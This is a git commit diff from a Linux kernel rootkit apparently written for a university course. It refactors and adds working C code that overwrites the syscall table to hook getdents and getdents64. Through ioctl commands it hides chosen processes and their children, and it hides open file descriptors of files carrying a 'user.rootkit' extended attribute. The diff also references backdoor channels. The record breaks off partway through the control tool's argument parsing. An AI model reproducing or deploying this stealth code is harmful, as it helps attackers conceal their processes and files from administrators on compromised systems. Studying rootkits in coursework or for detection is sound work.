commit 8f08290609aefd82ec2c15ea589703ccf49892cb
parent 43009050813f8f44b83ddbb550699c12caf751d2
Author: deurzen <m.deurzen@tum.de>
Date: Sun, 6 Dec 2020 03:55:02 +0100
refactors code
Diffstat:
16 files changed, 580 insertions(+), 493 deletions(-)
diff --git a/src/channel.c b/src/channel.c
@@ -9,7 +9,7 @@
#include "modhide.h"
#include "filehide.h"
#include "backdoor.h"
-#include "hidepid.h"
+#include "pidhide.h"
#include "ioctl.h"
#include "rootkit.h"
@@ -25,9 +25,10 @@ report_channels(void)
DEBUG_NOTICE("%-24s %#10lx\n", "PING", G7_PING);
DEBUG_NOTICE("%-24s %#10lx\n", "MODHIDE", G7_MODHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE);
+ DEBUG_NOTICE("%-24s %#10lx\n", "OPENHIDE", G7_OPENHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR);
DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD);
- DEBUG_NOTICE("%-24s %#10lx\n", "HIDEPID", G7_HIDEPID);
+ DEBUG_NOTICE("%-24s %#10lx\n", "HIDEPID", G7_PIDHIDE);
DEBUG_NOTICE("-----------------------------------\n");
}
@@ -38,9 +39,10 @@ detect_channel(unsigned cmd)
case G7_PING: return (channel_t){ "PING", handle_ping };
case G7_MODHIDE: return (channel_t){ "MODHIDE", handle_modhide };
case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide };
+ case G7_OPENHIDE: return (channel_t){ "OPENHIDE", handle_openhide };
case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor };
case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd };
- case G7_HIDEPID: return (channel_t){ "HIDEPID", handle_hidepid };
+ case G7_PIDHIDE: return (channel_t){ "HIDEPID", handle_pidhide };
}
return (channel_t){ "unknown", NULL };
@@ -124,6 +126,51 @@ handle_filehide(unsigned long arg)
}
int
+handle_openhide(unsigned long arg)
+{
+ long sarg = (long)arg;
+ bool set = rootkit.hiding_open;
+
+ if (sarg > 0 || (!sarg && (set ^ 1))) {
+ hide_open();
+ rootkit.hiding_files = 1;
+ } else if (sarg < 0 || (!sarg && !(set ^ 1))) {
+ unhide_open();
+ rootkit.hiding_files = 0;
+ }
+
+ DEBUG_NOTICE("openhide %s\n", rootkit.hiding_open ? "on" : "off");
+
+ return 0;
+}
+
+int
+handle_pidhide(unsigned long arg)
+{
+ long sarg = (long)arg;
+
+ if (!sarg) {
+ unhide_pids();
+ rootkit.hiding_pids = 0;
+ DEBUG_NOTICE("pidhide off\n");
+ } else if (sarg < 0) {
+ unhide_pid((pid_t)(-sarg));
+ DEBUG_NOTICE("unhiding pid %ld\n", -sarg);
+ } else if (sarg > 0) {
+ if (!rootkit.hiding_pids) {
+ hide_pids();
+ DEBUG_NOTICE("pidhide on\n");
+ }
+
+ hide_pid((pid_t)sarg);
+ rootkit.hiding_pids = 1;
+ DEBUG_NOTICE("hiding pid %ld\n", sarg);
+ }
+
+ return 0;
+}
+
+int
handle_backdoor(unsigned long arg)
{
char buf[BUFLEN];
@@ -179,29 +226,3 @@ handle_togglebd(unsigned long arg)
return 0;
}
-
-int
-handle_hidepid(unsigned long arg)
-{
- long sarg = (long)arg;
-
- if (!sarg) {
- unhide_pids();
- rootkit.hiding_pids = 0;
- DEBUG_NOTICE("hidepid off\n");
- } else if (sarg < 0) {
- unhide_pid((pid_t)(-sarg));
- DEBUG_NOTICE("unhiding pid %ld\n", -sarg);
- } else if (sarg > 0) {
- if (!rootkit.hiding_pids) {
- hide_pids();
- DEBUG_NOTICE("hidepid on\n");
- }
-
- hide_pid((pid_t)sarg);
- rootkit.hiding_pids = 1;
- DEBUG_NOTICE("hiding pid %ld\n", sarg);
- }
-
- return 0;
-}
diff --git a/src/channel.h b/src/channel.h
@@ -13,8 +13,9 @@ channel_t detect_channel(unsigned);
int handle_ping(unsigned long);
int handle_modhide(unsigned long);
int handle_filehide(unsigned long);
+int handle_openhide(unsigned long);
+int handle_pidhide(unsigned long);
int handle_backdoor(unsigned long);
int handle_togglebd(unsigned long);
-int handle_hidepid(unsigned long);
#endif//_GROUP7_CHANNEL_H
diff --git a/src/g7.c b/src/g7.c
@@ -40,10 +40,10 @@ static struct file_operations g7_fops =
rootkit_t rootkit = {
- .hiding_module = true,
- .hiding_files = true,
- .hiding_open_files = true,
- .hiding_pids = true,
+ .hiding_module = true,
+ .hiding_files = true,
+ .hiding_open = true,
+ .hiding_pids = true,
.backdoor = BD_TTY,
};
diff --git a/src/hideopen.c b/src/hideopen.c
@@ -1,212 +0,0 @@
-#include <linux/slab.h>
-#include <linux/fd.h>
-#include <linux/fs.h>
-#include <linux/pid.h>
-#include <linux/sched.h>
-#include <linux/fdtable.h>
-#include <linux/dcache.h>
-#include <linux/xattr.h>
-#include <linux/namei.h>
-
-#include "common.h"
-#include "hook.h"
-#include "hideopen.h"
-#include "hidepid.h"
-
-const char *dir_sep = "/";
-
-fd_list_t hidden_fds = {
- .fd = -1,
- .prev = NULL,
- .next = NULL,
-};
-
-fd_list_t_ptr hidden_fds_tail = &hidden_fds;
-
-pid_t
-may_fd(struct file *dirfile)
-{
- pid_t tmp = -1;
- char *buf;
-
- buf = kzalloc(512, GFP_KERNEL);
-
- if(dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) {
- char *path = d_path(&dirfile->f_path, buf, 512);
-
- if(!IS_ERR(path)) {
- char *sub;
- char *cur = path;
-
- /**
- * In the correct directory, the tokens are as follows:
- * {NULL, proc, [PID], fd}
- * We also don't want the task directory, so the third
- * token should be fd, not task
- **/
- int i = 0;
-
- while(sub = (strsep(&cur, dir_sep))) {
- switch(i++) {
- case 1:
- if(strcmp(sub, "proc"))
- goto leave;
- break;
- case 2:
- tmp = PID_FROM_NAME(sub);
- break;
- case 3:
- if(!strcmp(sub, "fd")) {
- kfree(buf);
- return tmp;
- } else
- goto leave;
- default:
- break;
- }
- }
- }
- }
-
- leave:
- kfree(buf);
- return 0;
-}
-
-int
-fd_callback(const void *ptr, struct file *f, unsigned fd)
-{
- struct inode *inode = f->f_inode;
- char *buf = kzalloc(BUFLEN, GFP_KERNEL);
-
- if(!inode_permission(inode, MAY_READ)) {
- ssize_t len = vfs_getxattr(f->f_path.dentry, G7_XATTR_NAME, buf, BUFLEN);
-
- if(len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) {
- add_fd_to_list(&hidden_fds, (int) fd);
- goto leave;
- }
-
- const char *fname = f->f_path.dentry->d_name.name;
-
- if(strlen(fname) >= 6) {
- char *abs = kzalloc(BUFLEN, GFP_KERNEL);
-
- if(strncmp(fname, ".", 1) || strncmp((fname + (strlen(fname) - 4)), ".swp", 4)) {
- goto leave;
- }
-
-
- memset(buf, 0, BUFLEN);
- strncpy(buf, (fname + 1), strlen(fname) - 5);
-
- char *path = d_path(&f->f_path, abs, 512);
-
- if(IS_ERR(path))
- goto end;
-
- memset((path + (strlen(path) - strlen(fname))), 0, strlen(fname));
- strcat(path, buf);
-
- struct path path_struct;
- if(kern_path(path, LOOKUP_FOLLOW, &path_struct))
- goto end;
-
- memset(buf, 0, BUFLEN);
-
- ssize_t len = vfs_getxattr(path_struct.dentry, G7_XATTR_NAME, buf, BUFLEN);
-
- if(len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) {
- add_fd_to_list(&hidden_fds, (int) fd);
- }
-
- end:
- kfree(abs);
- goto leave;
-
- }
- }
-
- leave:
- kfree(buf);
-
- return 0;
-}
-
-void
-fill_fds(pid_t pid)
-{
- struct pid *spid;
- struct task_struct *task;
- struct files_struct *fs;
-
- if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID)))
- return;
-
- iterate_fd(task->files, 0, (void *)fd_callback, NULL);
-}
-
-void
-clear_hidden_fds(void)
-{
- fd_list_t_ptr i = hidden_fds_tail;
- while ((i = remove_fd_from_list(i, i->fd)));
-}
-
-bool
-list_contains_fd(fd_list_t_ptr list, int fd)
-{
- return !!find_fd_in_list(list, fd);
-}
-
-fd_list_t_ptr
-find_fd_in_list(fd_list_t_ptr head, int fd)
-{
- fd_list_t_ptr i;
- for (i = head; i; i = i->next)
- if (i->fd == fd)
- return i;
-
- return NULL;
-}
-
-fd_list_t_ptr
-add_fd_to_list(fd_list_t_ptr tail, int fd)
-{
- fd_list_t_ptr node;
- node = (fd_list_t_ptr)kmalloc(sizeof(fd_list_t), GFP_KERNEL);
-
- if (node) {
- node->fd = fd;
- node->next = NULL;
- node->prev = tail;
- tail->next = node;
- hidden_fds_tail = node;
- return node;
- }
-
- return NULL;
-}
-
-
-fd_list_t_ptr
-remove_fd_from_list(fd_list_t_ptr list, int fd)
-{
- fd_list_t_ptr i = find_fd_in_list(list, fd), ret = NULL;
-
- if (i && (i->fd != -1)) {
- if (i->next)
- i->next->prev = i->prev;
- else
- hidden_fds_tail = i->prev ? i->prev : &hidden_fds;
-
- if (i->prev) {
- i->prev->next = i->next;
- ret = i->prev;
- }
-
- kfree(i);
- }
-
- return ret;
-}
-\ No newline at end of file
diff --git a/src/hideopen.h b/src/hideopen.h
@@ -1,31 +0,0 @@
-#ifndef _GROUP7_HIDEOPEN_H
-#define _GROUP7_HIDEOPEN_H
-
-#include <linux/types.h>
-
-#define FD_FROM_NAME(name) ((int)simple_strtol((name), NULL, 10))
-#define G7_XATTR_NAME "user.rootkit"
-#define G7_XATTR_VAL "rootkit"
-
-#define BUFLEN 512
-
-typedef struct fd_list *fd_list_t_ptr;
-typedef struct fd_list {
- int fd;
- fd_list_t_ptr prev;
- fd_list_t_ptr next;
-} fd_list_t;
-
-extern fd_list_t hidden_fds;
-
-pid_t may_fd(struct file *);
-void fill_fds(pid_t);
-
-void clear_hidden_fds(void);
-bool list_contains_fd(fd_list_t_ptr, int);
-
-fd_list_t_ptr find_fd_in_list(fd_list_t_ptr, int);
-fd_list_t_ptr add_fd_to_list(fd_list_t_ptr, int);
-fd_list_t_ptr remove_fd_from_list(fd_list_t_ptr list, int fd);
-
-#endif//_GROUP7_HIDEOPEN_H
diff --git a/src/hidepid.c b/src/hidepid.c
@@ -1,159 +0,0 @@
-#include <linux/slab.h>
-#include <linux/pid.h>
-
-#include "hook.h"
-#include "hidepid.h"
-
-pid_list_t hidden_pids = {
- .pid = -1,
- .prev = NULL,
- .next = NULL,
-};
-
-pid_list_t_ptr hidden_pids_tail = &hidden_pids;
-
-void
-hide_pids(void)
-{
- if (atomic_inc_return(&getdents_install_count) == 1) {
- disable_protection();
- sys_calls[__NR_getdents] = (void *)g7_getdents;
- sys_calls[__NR_getdents64] = (void *)g7_getdents64;
- enable_protection();
- }
-}
-
-void
-unhide_pids(void)
-{
- if (atomic_dec_return(&getdents_install_count) < 0) {
- atomic_set(&getdents_install_count, 0);
-
- if (sys_getdents) {
- disable_protection();
- sys_calls[__NR_getdents] = (void *)sys_getdents;
- enable_protection();
- while (atomic_read(&getdents_count) > 0);
- }
-
- if (sys_getdents64) {
- disable_protection();
- sys_calls[__NR_getdents64] = (void *)sys_getdents64;
- enable_protection();
- while (atomic_read(&getdents64_count) > 0);
- }
- }
-}
-
-
-void
-hide_pid(pid_t pid)
-{
- struct pid *spid;
- struct task_struct *task;
-
- if (list_contains_pid(&hidden_pids, pid))
- return;
-
- if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID)))
- return;
-
- struct list_head *i;
- list_for_each(i, &task->children) {
- struct task_struct *child = list_entry(i, struct task_struct, sibling);
-
- hide_pid(child->pid);
- }
-
- add_pid_to_list(hidden_pids_tail, pid);
-}
-
-void
-unhide_pid(pid_t pid)
-{
- struct pid *spid;
- struct task_struct *task;
-
- pid_list_t_ptr node;
- if (!(node = find_pid_in_list(&hidden_pids, pid)))
- return;
-
- if (node == &hidden_pids)
- return;
-
- if ((spid = find_get_pid(pid)) && (task = pid_task(spid, PIDTYPE_PID))) {
- struct list_head *i;
- list_for_each(i, &task->children) {
- struct task_struct *child = list_entry(i, struct task_struct, sibling);
-
- unhide_pid(child->pid);
- }
- }
-
- remove_pid_from_list(node, pid);
-}
-
-void
-clear_hidden_pids(void)
-{
- pid_list_t_ptr i = hidden_pids_tail;
- while ((i = remove_pid_from_list(i, i->pid)));
-}
-
-
-bool
-list_contains_pid(pid_list_t_ptr list, pid_t pid)
-{
- return !!find_pid_in_list(list, pid);
-}
-
-pid_list_t_ptr
-find_pid_in_list(pid_list_t_ptr head, pid_t pid)
-{
- pid_list_t_ptr i;
- for (i = head; i; i = i->next)
- if (i->pid == pid)
- return i;
-
- return NULL;
-}
-
-pid_list_t_ptr
-add_pid_to_list(pid_list_t_ptr tail, pid_t pid)
-{
- pid_list_t_ptr node;
- node = (pid_list_t_ptr)kmalloc(sizeof(pid_list_t), GFP_KERNEL);
-
- if (node) {
- node->pid = pid;
- node->next = NULL;
- node->prev = tail;
- tail->next = node;
- hidden_pids_tail = node;
- return node;
- }
-
- return NULL;
-}
-
-pid_list_t_ptr
-remove_pid_from_list(pid_list_t_ptr list, pid_t pid)
-{
- pid_list_t_ptr i = find_pid_in_list(list, pid), ret = NULL;
-
- if (i && (i->pid != -1)) {
- if (i->next)
- i->next->prev = i->prev;
- else
- hidden_pids_tail = i->prev ? i->prev : &hidden_pids;
-
- if (i->prev) {
- i->prev->next = i->next;
- ret = i->prev;
- }
-
- kfree(i);
- }
-
- return ret;
-}
diff --git a/src/hidepid.h b/src/hidepid.h
@@ -1,30 +0,0 @@
-#ifndef _GROUP7_HIDEPID_H
-#define _GROUP7_HIDEPID_H
-
-#include <linux/types.h>
-
-#define PID_FROM_NAME(name) ((pid_t)simple_strtol((name), NULL, 10))
-
-typedef struct pid_list *pid_list_t_ptr;
-typedef struct pid_list {
- pid_t pid;
- pid_list_t_ptr prev;
- pid_list_t_ptr next;
-} pid_list_t;
-
-extern pid_list_t hidden_pids;
-
-void hide_pids(void);
-void unhide_pids(void);
-
-void hide_pid(pid_t);
-void unhide_pid(pid_t);
-void clear_hidden_pids(void);
-
-void init_pid_list(void);
-bool list_contains_pid(pid_list_t_ptr, pid_t);
-pid_list_t_ptr find_pid_in_list(pid_list_t_ptr, pid_t);
-pid_list_t_ptr add_pid_to_list(pid_list_t_ptr, pid_t);
-pid_list_t_ptr remove_pid_from_list(pid_list_t_ptr, pid_t);
-
-#endif//_GROUP7_HIDEPID_H
diff --git a/src/hook.c b/src/hook.c
@@ -17,8 +17,8 @@
#include "modhide.h"
#include "filehide.h"
#include "backdoor.h"
-#include "hidepid.h"
-#include "hideopen.h"
+#include "pidhide.h"
+#include "openhide.h"
#include "read.h"
extern rootkit_t rootkit;
@@ -139,6 +139,10 @@ g7_getdents(const struct pt_regs *pt_regs)
dirent_t_ptr dirent = (dirent_t_ptr)pt_regs->si;
long ret = sys_getdents(pt_regs);
+ bool is_fd = 0; // We only need /proc/[pid]/fd dirs
+ struct file *dirfile = fget(fd);
+ pid_t fd_pid;
+
if (ret <= 0 || !(kdirent = (dirent_t_ptr)kzalloc(ret, GFP_KERNEL)))
return ret;
@@ -165,11 +169,17 @@ g7_getdents(const struct pt_regs *pt_regs)
}
}
+ if(rootkit.hiding_open && (fd_pid = may_fd(dirfile))) {
+ is_fd = 1;
+ fill_fds(fd_pid);
+ }
+
for (offset = 0; offset < ret;) {
cur_kdirent = (dirent_t_ptr)((char *)kdirent + offset);
if ((may_proc && list_contains_pid(&hidden_pids, PID_FROM_NAME(cur_kdirent->d_name)))
- || list_contains_inode(hi_head, cur_kdirent->d_ino))
+ || list_contains_inode(hi_head, cur_kdirent->d_ino)
+ || list_contains_fd(&hidden_fds, FD_FROM_NAME(cur_kdirent->d_name)))
{
if (cur_kdirent == kdirent) {
ret -= cur_kdirent->d_reclen;
@@ -188,6 +198,7 @@ g7_getdents(const struct pt_regs *pt_regs)
atomic_dec(&getdents_count);
yield:
+ clear_hidden_fds();
kfree(kdirent);
return ret;
}
@@ -200,7 +211,6 @@ g7_getdents64(const struct pt_regs *pt_regs)
typedef struct linux_dirent64 *dirent64_t_ptr;
bool may_proc;
-
unsigned long offset;
dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent;
struct dentry *kdirent_dentry;
@@ -210,7 +220,7 @@ g7_getdents64(const struct pt_regs *pt_regs)
dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si;
long ret = sys_getdents64(pt_regs);
- bool is_fd = 0; //We only need /proc/[pid]/fd dirs
+ bool is_fd = 0; // We only need /proc/[pid]/fd dirs
struct file *dirfile = fget(fd);
pid_t fd_pid;
@@ -239,8 +249,8 @@ g7_getdents64(const struct pt_regs *pt_regs)
hi_tail = add_inode_to_list(hi_tail, inode);
}
}
-
- if(rootkit.hiding_open_files && (fd_pid = may_fd(dirfile))) {
+
+ if(rootkit.hiding_open && (fd_pid = may_fd(dirfile))) {
is_fd = 1;
fill_fds(fd_pid);
}
diff --git a/src/ioctl.h b/src/ioctl.h
@@ -4,11 +4,12 @@
#define G7_MAGIC_NUMBER '@'
#define G7_DEVICE "g7rkp"
-#define G7_PING _IOWR(G7_MAGIC_NUMBER, 0x0, char *)
+#define G7_PING _IOWR(G7_MAGIC_NUMBER, 0x0, char *)
#define G7_MODHIDE _IOR(G7_MAGIC_NUMBER, 0x1, char *)
#define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x2, char *)
-#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x3, char *)
-#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x4, char *)
-#define G7_HIDEPID _IOR(G7_MAGIC_NUMBER, 0x5, char *)
+#define G7_OPENHIDE _IOR(G7_MAGIC_NUMBER, 0x3, char *)
+#define G7_PIDHIDE _IOR(G7_MAGIC_NUMBER, 0x4, char *)
+#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x5, char *)
+#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x6, char *)
#endif//_GROUP7_IOCTL_H
diff --git a/src/openhide.c b/src/openhide.c
@@ -0,0 +1,245 @@
+#include <linux/slab.h>
+#include <linux/fd.h>
+#include <linux/fs.h>
+#include <linux/pid.h>
+#include <linux/sched.h>
+#include <linux/fdtable.h>
+#include <linux/dcache.h>
+#include <linux/xattr.h>
+#include <linux/namei.h>
+
+#include "common.h"
+#include "hook.h"
+#include "openhide.h"
+#include "pidhide.h"
+
+const char *dir_sep = "/";
+
+fd_list_t hidden_fds = {
+ .fd = -1,
+ .prev = NULL,
+ .next = NULL,
+};
+
+fd_list_t_ptr hidden_fds_tail = &hidden_fds;
+
+void
+hide_open(void)
+{
+ if (atomic_inc_return(&getdents_install_count) == 1) {
+ disable_protection();
+ sys_calls[__NR_getdents] = (void *)g7_getdents;
+ sys_calls[__NR_getdents64] = (void *)g7_getdents64;
+ enable_protection();
+ }
+}
+
+void
+unhide_open(void)
+{
+ if (atomic_dec_return(&getdents_install_count) < 0) {
+ atomic_set(&getdents_install_count, 0);
+
+ if (sys_getdents) {
+ disable_protection();
+ sys_calls[__NR_getdents] = (void *)sys_getdents;
+ enable_protection();
+ while (atomic_read(&getdents_count) > 0);
+ }
+
+ if (sys_getdents64) {
+ disable_protection();
+ sys_calls[__NR_getdents64] = (void *)sys_getdents64;
+ enable_protection();
+ while (atomic_read(&getdents64_count) > 0);
+ }
+ }
+}
+
+
+pid_t
+may_fd(struct file *dirfile)
+{
+ pid_t tmp = -1;
+ char *buf;
+
+ buf = kzalloc(512, GFP_KERNEL);
+
+ if (dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) {
+ char *path = d_path(&dirfile->f_path, buf, 512);
+
+ if (!IS_ERR(path)) {
+ char *sub;
+ char *cur = path;
+
+ /**
+ * In the correct directory, the tokens are as follows:
+ * {NULL, proc, [PID], fd}
+ * We also don't want the task directory, so the third
+ * token should be fd, not task
+ **/
+ int i = 0;
+
+ while ((sub = (strsep(&cur, dir_sep)))) {
+ switch(i++) {
+ case 1:
+ if (strcmp(sub, "proc"))
+ goto leave;
+ break;
+ case 2:
+ tmp = PID_FROM_NAME(sub);
+ break;
+ case 3:
+ if (!strcmp(sub, "fd")) {
+ kfree(buf);
+ return tmp;
+ } else
+ goto leave;
+ default:
+ break;
+ }
+ }
+ }
+ }
+
+leave:
+ kfree(buf);
+ return 0;
+}
+
+int
+fd_callback(const void *ptr, struct file *f, unsigned fd)
+{
+ struct inode *inode = f->f_inode;
+ char *buf = kzalloc(BUFLEN, GFP_KERNEL);
+
+ if (!inode_permission(inode, MAY_READ)) {
+ ssize_t len = vfs_getxattr(f->f_path.dentry, G7_XATTR_NAME, buf, BUFLEN);
+
+ if (len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) {
+ add_fd_to_list(&hidden_fds, (int) fd);
+ goto leave;
+ }
+
+ const char *fname = f->f_path.dentry->d_name.name;
+
+ if (strlen(fname) >= 6) {
+ char *abs = kzalloc(BUFLEN, GFP_KERNEL);
+
+ if (strncmp(fname, ".", 1) || strncmp((fname + (strlen(fname) - 4)), ".swp", 4)) {
+ goto leave;
+ }
+
+
+ memset(buf, 0, BUFLEN);
+ strncpy(buf, (fname + 1), strlen(fname) - 5);
+
+ char *path = d_path(&f->f_path, abs, 512);
+
+ if (IS_ERR(path))
+ goto end;
+
+ memset((path + (strlen(path) - strlen(fname))), 0, strlen(fname));
+ strcat(path, buf);
+
+ struct path path_struct;
+ if (kern_path(path, LOOKUP_FOLLOW, &path_struct))
+ goto end;
+
+ memset(buf, 0, BUFLEN);
+
+ ssize_t len = vfs_getxattr(path_struct.dentry, G7_XATTR_NAME, buf, BUFLEN);
+
+ if (len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) {
+ add_fd_to_list(&hidden_fds, (int) fd);
+ }
+
+end:
+ kfree(abs);
+ goto leave;
+
+ }
+ }
+
+leave:
+ kfree(buf);
+
+ return 0;
+}
+
+void
+fill_fds(pid_t pid)
+{
+ struct pid *spid;
+ struct task_struct *task;
+
+ if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID)))
+ return;
+
+ iterate_fd(task->files, 0, (void *)fd_callback, NULL);
+}
+
+void
+clear_hidden_fds(void)
+{
+ fd_list_t_ptr i = hidden_fds_tail;
+ while ((i = remove_fd_from_list(i, i->fd)));
+}
+
+bool
+list_contains_fd(fd_list_t_ptr list, int fd)
+{
+ return !!find_fd_in_list(list, fd);
+}
+
+fd_list_t_ptr
+find_fd_in_list(fd_list_t_ptr head, int fd)
+{
+ fd_list_t_ptr i;
+ for (i = head; i; i = i->next)
+ if (i->fd == fd)
+ return i;
+
+ return NULL;
+}
+
+fd_list_t_ptr
+add_fd_to_list(fd_list_t_ptr tail, int fd)
+{
+ fd_list_t_ptr node;
+ node = (fd_list_t_ptr)kmalloc(sizeof(fd_list_t), GFP_KERNEL);
+
+ if (node) {
+ node->fd = fd;
+ node->next = NULL;
+ node->prev = tail;
+ tail->next = node;
+ hidden_fds_tail = node;
+ return node;
+ }
+
+ return NULL;
+}
+
+
+fd_list_t_ptr
+remove_fd_from_list(fd_list_t_ptr list, int fd)
+{
+ fd_list_t_ptr i = find_fd_in_list(list, fd), ret = NULL;
+
+ if (i && (i->fd != -1)) {
+ if (i->next)
+ i->next->prev = i->prev;
+ else
+ hidden_fds_tail = i->prev ? i->prev : &hidden_fds;
+
+ if (i->prev) {
+ i->prev->next = i->next;
+ ret = i->prev;
+ }
+
+ kfree(i);
+ }
+
+ return ret;
+}
diff --git a/src/openhide.h b/src/openhide.h
@@ -0,0 +1,34 @@
+#ifndef _GROUP7_OPENHIDE_H
+#define _GROUP7_OPENHIDE_H
+
+#include <linux/types.h>
+
+#define FD_FROM_NAME(name) ((int)simple_strtol((name), NULL, 10))
+#define G7_XATTR_NAME "user.rootkit"
+#define G7_XATTR_VAL "rootkit"
+
+#define BUFLEN 512
+
+typedef struct fd_list *fd_list_t_ptr;
+typedef struct fd_list {
+ int fd;
+ fd_list_t_ptr prev;
+ fd_list_t_ptr next;
+} fd_list_t;
+
+extern fd_list_t hidden_fds;
+
+void hide_open(void);
+void unhide_open(void);
+
+pid_t may_fd(struct file *);
+void fill_fds(pid_t);
+
+void clear_hidden_fds(void);
+bool list_contains_fd(fd_list_t_ptr, int);
+
+fd_list_t_ptr find_fd_in_list(fd_list_t_ptr, int);
+fd_list_t_ptr add_fd_to_list(fd_list_t_ptr, int);
+fd_list_t_ptr remove_fd_from_list(fd_list_t_ptr list, int fd);
+
+#endif//_GROUP7_OPENHIDE_H
diff --git a/src/pidhide.c b/src/pidhide.c
@@ -0,0 +1,159 @@
+#include <linux/slab.h>
+#include <linux/pid.h>
+
+#include "hook.h"
+#include "pidhide.h"
+
+pid_list_t hidden_pids = {
+ .pid = -1,
+ .prev = NULL,
+ .next = NULL,
+};
+
+pid_list_t_ptr hidden_pids_tail = &hidden_pids;
+
+void
+hide_pids(void)
+{
+ if (atomic_inc_return(&getdents_install_count) == 1) {
+ disable_protection();
+ sys_calls[__NR_getdents] = (void *)g7_getdents;
+ sys_calls[__NR_getdents64] = (void *)g7_getdents64;
+ enable_protection();
+ }
+}
+
+void
+unhide_pids(void)
+{
+ if (atomic_dec_return(&getdents_install_count) < 0) {
+ atomic_set(&getdents_install_count, 0);
+
+ if (sys_getdents) {
+ disable_protection();
+ sys_calls[__NR_getdents] = (void *)sys_getdents;
+ enable_protection();
+ while (atomic_read(&getdents_count) > 0);
+ }
+
+ if (sys_getdents64) {
+ disable_protection();
+ sys_calls[__NR_getdents64] = (void *)sys_getdents64;
+ enable_protection();
+ while (atomic_read(&getdents64_count) > 0);
+ }
+ }
+}
+
+
+void
+hide_pid(pid_t pid)
+{
+ struct pid *spid;
+ struct task_struct *task;
+
+ if (list_contains_pid(&hidden_pids, pid))
+ return;
+
+ if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID)))
+ return;
+
+ struct list_head *i;
+ list_for_each(i, &task->children) {
+ struct task_struct *child = list_entry(i, struct task_struct, sibling);
+
+ hide_pid(child->pid);
+ }
+
+ add_pid_to_list(hidden_pids_tail, pid);
+}
+
+void
+unhide_pid(pid_t pid)
+{
+ struct pid *spid;
+ struct task_struct *task;
+
+ pid_list_t_ptr node;
+ if (!(node = find_pid_in_list(&hidden_pids, pid)))
+ return;
+
+ if (node == &hidden_pids)
+ return;
+
+ if ((spid = find_get_pid(pid)) && (task = pid_task(spid, PIDTYPE_PID))) {
+ struct list_head *i;
+ list_for_each(i, &task->children) {
+ struct task_struct *child = list_entry(i, struct task_struct, sibling);
+
+ unhide_pid(child->pid);
+ }
+ }
+
+ remove_pid_from_list(node, pid);
+}
+
+void
+clear_hidden_pids(void)
+{
+ pid_list_t_ptr i = hidden_pids_tail;
+ while ((i = remove_pid_from_list(i, i->pid)));
+}
+
+
+bool
+list_contains_pid(pid_list_t_ptr list, pid_t pid)
+{
+ return !!find_pid_in_list(list, pid);
+}
+
+pid_list_t_ptr
+find_pid_in_list(pid_list_t_ptr head, pid_t pid)
+{
+ pid_list_t_ptr i;
+ for (i = head; i; i = i->next)
+ if (i->pid == pid)
+ return i;
+
+ return NULL;
+}
+
+pid_list_t_ptr
+add_pid_to_list(pid_list_t_ptr tail, pid_t pid)
+{
+ pid_list_t_ptr node;
+ node = (pid_list_t_ptr)kmalloc(sizeof(pid_list_t), GFP_KERNEL);
+
+ if (node) {
+ node->pid = pid;
+ node->next = NULL;
+ node->prev = tail;
+ tail->next = node;
+ hidden_pids_tail = node;
+ return node;
+ }
+
+ return NULL;
+}
+
+pid_list_t_ptr
+remove_pid_from_list(pid_list_t_ptr list, pid_t pid)
+{
+ pid_list_t_ptr i = find_pid_in_list(list, pid), ret = NULL;
+
+ if (i && (i->pid != -1)) {
+ if (i->next)
+ i->next->prev = i->prev;
+ else
+ hidden_pids_tail = i->prev ? i->prev : &hidden_pids;
+
+ if (i->prev) {
+ i->prev->next = i->next;
+ ret = i->prev;
+ }
+
+ kfree(i);
+ }
+
+ return ret;
+}
diff --git a/src/pidhide.h b/src/pidhide.h
@@ -0,0 +1,30 @@
+#ifndef _GROUP7_PIDHIDE_H
+#define _GROUP7_PIDHIDE_H
+
+#include <linux/types.h>
+
+#define PID_FROM_NAME(name) ((pid_t)simple_strtol((name), NULL, 10))
+
+typedef struct pid_list *pid_list_t_ptr;
+typedef struct pid_list {
+ pid_t pid;
+ pid_list_t_ptr prev;
+ pid_list_t_ptr next;
+} pid_list_t;
+
+extern pid_list_t hidden_pids;
+
+void hide_pids(void);
+void unhide_pids(void);
+
+void hide_pid(pid_t);
+void unhide_pid(pid_t);
+void clear_hidden_pids(void);
+
+void init_pid_list(void);
+bool list_contains_pid(pid_list_t_ptr, pid_t);
+pid_list_t_ptr find_pid_in_list(pid_list_t_ptr, pid_t);
+pid_list_t_ptr add_pid_to_list(pid_list_t_ptr, pid_t);
+pid_list_t_ptr remove_pid_from_list(pid_list_t_ptr, pid_t);
+
+#endif//_GROUP7_PIDHIDE_H
diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c
@@ -48,16 +48,29 @@ parse_input(int argc, char **argv)
}
if (ARGVCMP(1, "filehide")) {
- ASSERT_ARGC(2, "filehide <toggle | on | off>");
+ ASSERT_ARGC(2, "filehide [open] <toggle | on | off>");
- if (ARGVCMP(2, "toggle"))
- return (cmd_t){ handle_filehide, (void *)0 };
+ if (ARGVCMP(2, "open")) {
+ ASSERT_ARGC(3, "filehide [open] <toggle | on | off>");
